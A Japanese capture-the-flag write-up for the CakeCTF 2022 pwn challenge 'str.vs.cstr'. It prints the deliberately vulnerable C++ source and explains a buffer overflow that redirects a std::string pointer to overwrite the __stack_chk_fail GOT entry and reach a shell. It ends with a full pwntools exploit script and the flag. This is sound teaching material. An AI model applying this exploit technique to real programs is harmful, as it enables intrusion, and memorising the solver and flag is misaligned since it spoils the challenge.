str.vs.cstr (CakeCTF 2022) WriteUp

# はじめに
この記事は [1日1CTF Advent Calendar 2024](https://qiita.com/advent-calendar/2024/1-day-1-ctf) の 3 日目の記事です。
# 問題
str.vs.cstr (問題出典: CakeCTF 2022)

> Which do you like, C string or C++ string?

リポジトリ: https://github.com/theoremoon/cakectf2022-public/tree/master/pwn/str_vs_cstr

なお、[AlpacaHack](https://alpacahack.com/challenges/str-vs-cstr) で過去問として解くこともできる。

## 問題概要

`char[0x20]` ( `c_str` ) と `std::string` ( `str` ) が配置された構造体 `Test` がある。2 つの文字列について任意の書き込み・読み込みが行えるので `call_me` 関数を呼び出せればクリア。

```main.cpp
#include <array>
#include <iostream>

struct Test {
  Test() { std::fill(_c_str, _c_str + 0x20, 0); }
  char* c_str() { return _c_str; }
  std::string& str() { return _str; }

private:
  __attribute__((used))
  void call_me() {
    std::system("/bin/sh");
  }

  char _c_str[0x20];
  std::string _str;
};

int main() {
  Test test;

  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "1. set c_str" << std::endl
            << "2. get c_str" << std::endl
            << "3. set str" << std::endl
            << "4. get str" << std::endl;

  while (std::cin.good()) {
    int choice = 0;
    std::cout << "choice: ";
    std::cin >> choice;

    switch (choice) {
      case 1: // set c_str
        std::cout << "c_str: ";
        std::cin >> test.c_str();
        break;

      case 2: // get c_str
        std::cout << "c_str: " << test.c_str() << std::endl;
        break;

      case 3: // set str
        std::cout << "str: ";
        std::cin >> test.str();
        break;

      case 4: // get str
        std::cout << "str: " << test.str() << std::endl;
        break;

      default: // otherwise exit
        std::cout << "bye!" << std::endl;
        return 0;
    }
  }
  
  return 1;
}
```

PIE が無効、しかも Partial RELRO で嬉しい。
```checksec.txt
Canary    : Enabled
NX        : Enabled
PIE       : Disabled (0x400000)
RELRO     : Partial RELRO
Fortify   : Not found
```

## 考察

[ptr-yudai さんの記事](https://ptr-yudai.hatenablog.com/entry/2021/11/30/235732#stdstring) によれば、`std::string` の構造は次のようになっているらしい。

```
+00h: <データへのポインタ>
+08h: <データのサイズ>
+10h: <データ領域の容量>あるいは<データ本体+0h>
+18h: <未使用>あるいは<データ本体+8h>
```

これを踏まえ、`c_str` に `AAAAAAAA` を、 `str` に `BBBBBBBB` を書き込んだときの stack の様子を見てみよう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/942569/6f978eae-2faa-92b8-2f42-e163dd9308b7.png)

`c_str` の書き込み時に、バッファオーバーフローを起こすことで、`str` のデータへのポインタを破壊できそう。

あとは、`str` のデータへのポインタを `__stack_chk_fail` の GOT のアドレスに書き換えて、その状態で `str` に `call_me` のアドレスを書き込めば、`__stack_chk_fail` の GOT を `call_me` にできる。

あとはもう一度バッファオーバーフローでカナリアを破壊した後に適当に関数を抜ければ、`__stack_chk_fail` の代わりに `call_me` を呼び出せる… と思ったが、`__stack_chk_fail` が呼び出される前にプログラムが落ちてしまった。

デバッグして原因を調べると、`Test` のデストラクタが呼ばれる際、 `str` のデータへのポインタに対して free() が呼び出されてしまっていた。しょうがないので最後に `str` のデータへのポインタを `null` にしてあげると OK 。

## solver

```solve.py
from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = ""
host = "localhost"
port = 1337
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)


io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x404058))  # str のデータのポインタを __stack_chk_fail の GOT に書き換える

io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(p64(0x4016DE))  #  __stack_chk_fail の GOT に call_me のアドレスを書き込む

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0) + b"A" * 0x40)  # str のデータのポインタを null に + canary を破壊

io.recvuntil(b"choice: ")
io.sendline(b"-1")  # return 0 させるためなので何でもいい

io.interactive()
```

flag: `CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}`

フラグに宿題が書いてあった。ということで、明日の記事に続く。